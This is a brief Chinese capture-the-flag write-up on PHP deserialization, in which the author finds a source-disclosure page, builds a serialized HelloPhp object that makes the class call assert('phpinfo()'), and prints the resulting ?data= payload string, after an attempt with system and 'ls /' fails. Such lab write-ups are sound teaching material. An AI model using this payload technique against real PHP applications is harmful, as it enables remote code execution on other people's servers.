知识点:反序列化
发现点不了右键,那就用ctel+u看看源代码
发现一个可疑文件/time.php?source
发现是一个很明显的反序列化(反序列化过程不会调用类的 __construct()函数)
变量b是函数,a是值,那么b可以为system,assert这些,但这里不能用eval,因为
eval()里的引号必须是双引号,而assert()可以将整个字符串参数当作php参数执行,以及不能以变量函数的形式调用eval
我构造了一个$b=system,$a=ls / 的失败了,可能是过滤了吧,那就用phpinfo看看禁用了哪些,
class HelloPhp {
public $a = 'phpinfo()';
public $b = 'assert';
}
$a = new HelloPhp();
echo serialize($a);
Payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
然后在里面看
之后还是没找到flag,看了下大佬的wp,原来就在phpinfo里面